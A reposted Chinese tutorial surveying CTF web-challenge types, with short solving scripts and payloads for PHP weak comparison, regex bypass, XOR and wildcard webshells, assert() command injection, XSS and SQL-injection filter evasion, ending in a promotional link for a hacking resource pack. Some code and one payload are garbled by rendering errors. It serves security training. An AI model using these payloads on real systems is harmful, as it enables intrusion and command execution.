首页 > 其他分享 >CTF中Web题目的常见题型及解题姿势，零基础入门到精通，收藏这篇就够了

CTF中Web题目的常见题型及解题姿势，零基础入门到精通，收藏这篇就够了

时间：2024-10-10 16:20:31浏览次数：9  
标签：Web http 题型 123.206 flag CTF XSS 题目 绕过

一、基础知识类题目

考察基本的查看网页源代码、HTTP请求、修改页面元素等。

这些题很简单，比较难的比赛应该不会单独出，就算有应该也是Web的签到题。

实际做题的时候基本都是和其他更复杂的知识结合起来出现。

姿势：恶补基础知识就行

查看网页源代码

按F12就都看到了，flag一般都在注释里，有时候注释里也会有一条hint或者是对解题有用的信息。

  • Bugku web2: http://123.206.87.240:8002/web2/

  • Bugku web3: http://123.206.87.240:8002/web3/

发送HTTP请求

可以用hackbar，有的也可以写脚本。

  • Bugku web基础$_GET: http://123.206.87.240:8002/get/

  • Bugku web基础$_POST: http://123.206.87.240:8002/post/

  • Bugku 点击一百万次: http://123.206.87.240:9001/test/

举个写脚本的例子（题目是Bugku web基础$_POST）：

import requests``r = requests.post('http://123.206.87.240:8002/post/', data={'what' : 'flag'})``print(r.text)

不常见类型的请求发送

以前做过一道题考OPTIONS请求，可惜题目找不到了，而且那题也不算很基础。

不过如果要发送这类请求，写一个脚本应该就能解决了。

二、HTTP头相关的题目

主要是查看和修改HTTP头。

目前做过的Web题目有很大一部分都是与HTTP头相关的，而且这种题目也相当常见，不和其他知识结合的情况下也算是属于基础题的范畴吧。

姿势：不同的类型有不同的利用方法，基本都离不开抓包改包，有些简单的也可以利用浏览器F12的网络标签解决。但是最根本的应对策略，是熟悉一些常见请求头的格式、作用等，这样题目考到的时候就很容易知道要怎样做了。

查看响应头

有时候响应头里会有hint或者题目的关键信息，也有的时候会直接把flag放在响应头里给你，但是直接查看响应头拿flag的题目并不多，因为太简单了。

只是查看的话，可以不用抓包，用F12的“网络”标签就可以解决了。

  • Bugku 头等舱: http://123.206.87.240:9009/hd.php

修改请求头、伪造Cookie

常见的有set-cookie、XFF和Referer，总之考法很灵活，做法比较固定，知道一些常见的请求头再根据题目随机应变就没问题了。

有些题目还需要伪造Cookie，根据题目要求做就行了。

可以用BurpSuite抓包，也可以直接在浏览器的F12“网络”标签里改。

  • 实验吧 头有点大： http://ctf5.shiyanbar.com/sHeader/

  • Bugku 程序员本地网站： http://123.206.87.240:8002/localhost/

  • Bugku 管理员系统： http://123.206.31.85:1003/

  • XCTF xff_referer：https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5068

===

三、Git源码泄露

flag一般在源码的某个文件里，但也有和其他知识结合、需要进一步利用的情况，比如XCTF社区的mfw这道题。

姿势：GitHack一把梭

  • XCTF mfw: https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=1&id=5002

===

四、Python爬虫信息处理

这类题目一般都是给一个页面，页面中有算式或者是一些数字，要求在很短的时间内求出结果并提交，如果结果正确就可以返回flag。

因为所给时间一般都很短而且计算比较复杂，所以只能写脚本。这种题目的脚本一般都需要用到requests库和BeautifulSoup库（或者re库（正则表达式）），个人感觉使用BeautifulSoup简单一些。

姿势：requests库和BeautifulSoup库熟练掌握后，再多做几道题或者写几个爬虫的项目，一般这类题目就没有什么问题了。主要还是对BeautifulSoup的熟练掌握，另外还需要一点点web前端（HTML）的知识。

  • Bugku 秋名山老司机： http://123.206.87.240:8002/qiumingshan/

#这道题的脚本如下，还可以继续优化

#经常出现执行了但是不弹flag的情况，多试几次就行了  



from bs4 import BeautifulSoup``import requests``r = requests.Session()``s = r.get("http://123.206.87.240:8002/qiumingshan/")``s.encoding = 'utf-8'``text = s.text``soup = BeautifulSoup(text)``tag = soup.div``express = str(tag.string)``express = express[0 : -3]``answer = eval(express)``ans = {"value" : answer}``flag = r.post('http://123.206.87.240:8002/qiumingshan/', data = ans)``print(flag.text)
  • 实验吧 速度爆破： http://www.shiyanbar.com/ctf/1841

HGAME2019的部分题目似乎还出现了反爬虫措施，但当时我还不会写爬虫，那一道题目也没有做，所以也不大清楚，以后如果再遇到那类题目再慢慢补上吧。

五、PHP代码审计

代码审计覆盖面特别广，分类也很多，而且几乎什么样的比赛都会有，算是比较重要的题目类型之一吧。

姿势：具体问题具体分析，归根结底还是要熟练掌握PHP这门语言，了解一些常见的会造成漏洞的函数及利用方法等。

六、hash加密相关

PHP弱类型hash比较缺陷

这是代码审计最基础的题目了，也比较常见。

典型代码：

if(md5($a) == md5($b)) {    //注意两个等号“==”`    `echo $flag;``}

加密函数也有可能是sha1或者其他的，但是原理都是不变的。

这个漏洞的原理如下：

== 在进行比较的时候，会先将两边的变量类型转化成相同的，再进行比较。0e在比较的时候会将其视作为科学计数法，所以无论0e后面是什么，0的多少次方还是0。

所以只要让a和b在经过相应的函数加密之后都是以0e开头就可以。

以下是一些md5加密后开头为0e的字符串：

QNKCDZO0e830400451993494058024219903391``   ``s878926199a``0e545993274517709034328855841020`  `s155964671a``0e342768416822451524974117254469`  `s214587387a``0e848240448830537924465865611904`  `s214587387a``0e848240448830537924465865611904`  `s878926199a``0e545993274517709034328855841020`  `s1091221200a``0e940624217856561557816327384675`  `s1885207154a``0e509367213418206700842008763514``   ``aabg7XSs

另外，这个也可以用数组绕过，这个方法在下面会详细说。

数组返回NULL绕过

PHP绝大多数函数无法处理数组，向md5函数传入数组类型的参数会使md5()函数返回NULL（转换后为False），进而绕过某些限制。

如果上面的代码变成：

if(md5($a) === md5($b)) {       //两个等号变成三个`    `echo $flag;``}

那么利用弱类型hash比较缺陷将无法绕过，这时可以使用数组绕过。

传入?a[]=1&b[]=2就可以成功绕过判断。

这样的方法也可以用来绕过sha1()等hash加密函数相关的判断，也可以绕过正则判断，可以根据具体情况来灵活运用。

七、正则表达式相关

ereg正则%00截断

ereg函数存在NULL截断漏洞，使用NULL可以截断过滤，所以可以使用%00截断正则匹配。

  • Bugku ereg正则%00截断：http://123.206.87.240:9009/5.php
数组绕过

正则表达式相关的函数也可以使用数组绕过过滤，绕过方法详见数组返回NULL绕过。

上面那道题也可以用数组绕过。

单引号绕过preg_match()正则匹配

在每一个字符前加上单引号可以绕过preg_match的匹配，原理暂时不明。

例如有如下代码：

<?php`    `$p = $_GET['p'];`    `if (preg_match('/[0-9a-zA-Z]{2}/',$p) === 1) {`        `echo 'False';`    `} else {`        `$pp = trim(base64_decode($p));`        `if ($pp === 'flag.php') {`            `echo 'success';`        `}`    `}``?>

payload：p=‘Z’m’x’h’Z’y’5’w’a’H’A’=

不含数字与字母的WebShell

如果题目使用preg_match()过滤掉了所有的数字和字母，但是没有过滤PHP的变量符号$，可以考虑使用这种方法。

典型代码：

<?php``   ``include'flag.php';``   ``if(isset($_GET['code'])){`   `$code=$_GET['code'];`   `if(strlen($code)>50){`       `die("Too Long.");`  `}`   `if(preg_match("/[A-Za-z0-9_]+/",$code)){`       `die("Not Allowed.");`  `}`   `@eval($code);``}else{`   `highlight_file(__FILE__);``}``//$hint = "php function getFlag() to get flag";``?>

这种方法的核心是字符串的异或操作。

爆破脚本：

chr1 = \['@', '!', '"', '#', '$', '%', '&', '\\'', '(', ')', '\*', '+', ',', '-', '.', '/', ':', ';', '<', '=', '>', '?', '\[', '\\\\', '\]', '^', '\_', '\`', '{', '|', '}', '~'\]  
chr2 = \['@', '!', '"', '#', '$', '%', '&', '\\'', '(', ')', '\*', '+', ',', '-', '.', '/', ':', ';', '<', '=', '>', '?', '\[', '\\\\', '\]', '^', '\_', '\`', '{', '|', '}', '~'\]  
  
for i in chr1 :  
    for j in chr2 :  

print(i + 'xor' + j + '=' + (chr(ord(i) ^ ord(j))))

  
根据题目的要求，用异或出来的字符串拼出合适的Payload，并放在PHP变量中执行。变量名可以用中文。

比如这道题的Payload：?code=KaTeX parse error: Double superscript at position 14: 啊=“@@|@@@"”‘̲%\*:,!’";啊();

Linux通配符绕过正则匹配

典型代码如下，与前一种题目非常相似，但也不大一样：

<?php``   ``if(isset($_GET['code'])){`   `$code=$_GET['code'];`   `if(strlen($code)>50){`       `die("Too Long.");`  `}`   `if(preg_match("/[A-Za-z0-9_$]+/",$code)){`       `die("Not Allowed.");`  `}`   `@eval($code);``}else{`   `highlight_file(__FILE__);``}``//flag in /``?>

最主要的区别就是过滤了 和 _ ，也就是说无法使用变量符号 和\_，也就是说无法使用变量符号 和_，也就是说无法使用变量符号了。

这时候可以考虑采用通配符绕过。

通配符有点像正则表达式，有自己的匹配规则，看这张图：

所以构造一下通配符就是/???/??? /*。

因为过滤了变量符号，没法通过上面那种方法来执行了。但是，可以通过闭合PHP标记来执行，也就是：?><?=/???/??? /\\\*?>（/bin/cat /*）。

所以本题的payload为：?code=?><?=/???/??? /\\\*?>

具体解法可以参照此篇文章的前两道题目：https://www.jianshu.com/p/ecc2414ec110

八、命令执行漏洞

assert()函数引起的命令执行

assert函数的参数为字符串时，会将字符串当做PHP命令来执行。

例如：assert(‘phpinfo()’)相当于执行<?php phpinfo() ?>

以一道题目为例：

本题目中题目文件夹下放置了一个隐藏的flag文件。

<?php``error_reporting(0);``if (isset($_GET['file'])) {`    `if($_GET['file'] === "flag"){`        `highlight_file("flag.php");`    `}else{`        `$page = $_GET['file'];`    `}``} else {`    `$page = "./flag.php";``}``   ``assert("file_exists('$page')");``?>

解法：

构造闭合 file_exists()函数，并使assert()执行恶意代码。

Linux命令ls -a可用于查看该目录下所有文件，包括隐藏文件。

payload：

  1. ?file=123’) or system(‘ls -a’);#

  2. ?file=123’) or system(‘cat .ffll44gg’);#

九、XSS题目

==============

这类题目会涉及到三种XSS类型，具体类型要根据题目来判断。一般都是向后台发送一个带有XSS Payload的文本，在返回的Cookie中含有flag，解法是在XSS Payload。

这类题目一般都会带有过滤和各种限制，需要了解一些常用的绕过方法。

姿势：XSS归根结底还是JavaScript，JavaScript的威力有多大，XSS的威力就有多大。要知道一些常用的XSS Payload，还要把三类XSS的原理弄明白。做题时需要用到XSS平台，网上有公用的，也可以自己在VPS上搭一个。

  • JavisOJ babyxss：http://web.jarvisoj.com:32800/

===

十、绕过waf

其实绝大多数比较难的题目多多少都会对输入有过滤，毕竟在现实的网络中肯定是会对输入进行限制的，但是这里还是把过滤单独列出来了。

姿势：多掌握一些不同的绕过方法。

长度限制

有些题目会要求输入较长的文本，但对文本的长度进行了限制。

对于这种题目，既可以用BurpSuite抓包改包绕过，也可以直接在F12里改页面源代码。

  • Bugku 计算器（修改页面源代码）：http://123.206.87.240:8002/yanzhengma/

  • DVWA 存储型XSS的标题栏会对长度进行限制，使用BurpSuite抓包绕过。

双写

双写可以绕过对输入内容过滤的单次判断，在XSS、SQL注入和PHP代码审计的题目中比较常见。

双写顾名思义就是将被过滤的关键字符写两遍，比如，如果要添加XSS Payload，又需要插入

这样的方法不仅对XSS有用，也可以用于代码审计和SQL注入。

HGAME2019有一道XSS题目就是过滤了

等价替代

就是不用被过滤的字符，而使用没有被过滤却会产生相同效果的字符。

比如，如果SQL注入题目中过滤了空格，可以用/**/绕过对空格的限制；XSS题目如果过滤了

  • 实验吧 简单的SQL注入：http://www.shiyanbar.com/ctf/1875

URL编码绕过

如果过滤了某个必须要用的字符串，输入的内容是以GET方式获取的（也就是直接在地址栏中输入），可以采用url编码绕过的方式。比如，过滤了 cat，可以使用 c%61t来绕过。

Linux命令使用反斜杠绕过

在Linux下，命令中加入反斜杠与原命令完全等价。例如，cat与 ca\t两条命令等价，效果完全相同。

可以利用这个特性来进行一些绕过操作（当然，这个仅限于命令执行漏洞）。

URL二次解码绕过

这个类型本来应该放在代码审计里面，但是既然是一种绕过过滤的姿势，就写在这里了。

如果源码中出现了urldecode()函数，可以利用url二次解码来绕过。

Bugku urldecode二次编码绕过：http://123.206.87.240:9009/10.php

数组绕过

详见PHP代码审计的“数组返回NULL”绕过。

数组绕过的应用很广，很多题目都可以用数组绕过。

十一、SQL注入

SQL注入是一种灵活而复杂的攻击方式，归根结底还是考察对SQL语言的了解和根据输入不同数据网页的反应对后台语句的判断，当然也有sqlmap这样的自动化工具可以使用。

姿势：如果不用sqlmap或者是用不了，就一定要把SQL语言弄明白，sqlmap这样的自动化工具也可以使用。

​ 为了帮助大家更好的学习网络安全，我给大家准备了一份网络安全入门/进阶学习资料，里面的内容都是适合零基础小白的笔记和资料，不懂编程也能听懂、看懂这些资料！

因篇幅有限，仅展示部分资料，需要点击下方链接即可前往获取

[2024最新CSDN大礼包：《黑客&网络安全入门&进阶学习资源包》免费分享]

在这里插入图片描述

因篇幅有限，仅展示部分资料，需要点击下方链接即可前往获取

[2024最新CSDN大礼包：《黑客&网络安全入门&进阶学习资源包》免费分享]

在这里插入图片描述

在这里插入图片描述

因篇幅有限，仅展示部分资料，需要点击下方链接即可前往获取

[2024最新CSDN大礼包：《黑客&网络安全入门&进阶学习资源包》免费分享]

标签：Web,http,题型,123.206,flag,CTF,XSS,题目,绕过
From： https://blog.csdn.net/web22050702/article/details/142825182

相关文章

  • # Cocos 2 使用 webview 嵌入页面，摄像头调用没权限问题
    Cocos2使用webview嵌入页面，摄像头调用没权限问题嗯，这么说呢，这篇博文看自己的实际需求哈，标题写的可能不是很准确。我这边呢，是遇到这样一个功能，就是有一个服务，他是的页面呢，是打开电脑的摄像头，需要在cocos程序里面呢，展示摄像头的实时画面。看上去挺简单哈，但是实际做起来，还是......
  • 第31篇 实现数据同步的webapi接口
    调用接口实现数据同步demo讲解1.demo整体架构如下2.SynchronizeModel类库这个类库是主要用于实体对象模型的转换，包括请求参数实体RequestModel，数据库实体DBEntity，响应数据实体ResponseModel等，2.1新建一个数据库实体：///<summary>///被测件（雷达）模块信息表///</sum......
  • 如何将React项目，部署到Web服务器的Tomcat 上
    将React应用部署到Tomcat服务器上通常需要将其构建为静态文件，然后将这些文件放入Tomcat的webapps目录。以下是具体步骤：步骤指南1.构建React应用首先，你需要在本地构建你的React应用。npmrunbuild这会在项目根目录下生成一个build文件夹，里面包含了优化......
  • 第二十二章 编译WebRTC框架
    源代码地址：https://webrtc.googlesource.com/src.git下载后放到src目录下gitclone https://chromium.googlesource.com/chromium/src/buildtools下载后放到src目录下gitclone https://chromium.googlesource.com/chromium/src/build需要https://chromium.googlesource.co......
  • 在 ASP.NET Core 中编写高性能 Web API 的4个小技巧
    WebAPI通常用来与外部模块进行通信、发送和接收数据，作为后端开发人员，应该把写出高性能的应用作为目标。下面4个技巧是我在编写WebAPI的小技巧。1、大量数据使用分页查询接口传输大量数据可能会导致严重的性能问题、过多的内存消耗和速度减慢。为了缓解这些可能的瓶颈，强......
  • springboot+vue基于javaweb电费管理系统【开题+程序+论文】
    系统程序文件列表开题报告内容研究背景随着信息化技术的飞速发展，各行各业的管理效率与服务质量均得到了显著提升。在电力行业中，电费管理作为其核心业务流程之一，直接关系到电力企业的运营效益与用户的满意度。传统的电费管理方式大多依赖于人工操作，不仅耗时费力，还容易出错，难......
  • BUUCTF_MISC题解析(6，8)
    6.乌镇峰会种图把打开的图片放进010editor，拉到最末尾就可以发现flag 8.N种方法解决打开文件是KEY.exe点击打不开，运行不了(exe文件是二进制文件)，所以把他拉到010editor打开，data:image/jpg;base64,iVBORw0KGgo......gg==发现是base编码的形式，开头的提示说明是jpg格式的图片，......
  • shctf [week1]poppopop
    最近刚好在学pop链和反序列化，那就写一篇shctf做题的随笔吧进来先审计代码；1.发现反序列化首先会调用__destruct()魔术方法，将$Web赋为true，并echo$n，显然在这里我们得再有一个魔术方法，又因为这里调用的n被当字符串输出，一眼看到__toString()，考虑把$n赋值为newF();2.F类中$o被当作......
  • SpringBootWeb AOP
    SpringBootWebAOP事务管理rollbackFor属性propagation属性 案例AOP基础 进阶通知类型通知顺序 切入点表达式execution@annotation连接点案例实体类接口方法切面类事务管理rollbackFor属性propagation属性REQUIRED:大部分情况下都是用该传播行......
  • 【Web自动化测试】Python + Selenium实现携程网火车票订购的自动化测试——PO模式篇
    目录1.PO模式2.目录结构3.代码（1）.base层——`base.py`（2）.common层——`function.py`（3）.data层——`data.yaml`（4）.po层——`login_page.py`（5）.po层——`search_trains_page.py`（6）.po层——`filter_tickets_page.py`（7）.po层——`order_page.py`（8）.testcase层——`test_b......

赞助商

阅读排行

网站主页关于我们联系我们网站地图

本网站内容转载自其他媒体，侵权联系[admin##ips99.com]。

Copyright © 2020-2023 IPS99 版权所有 IPS99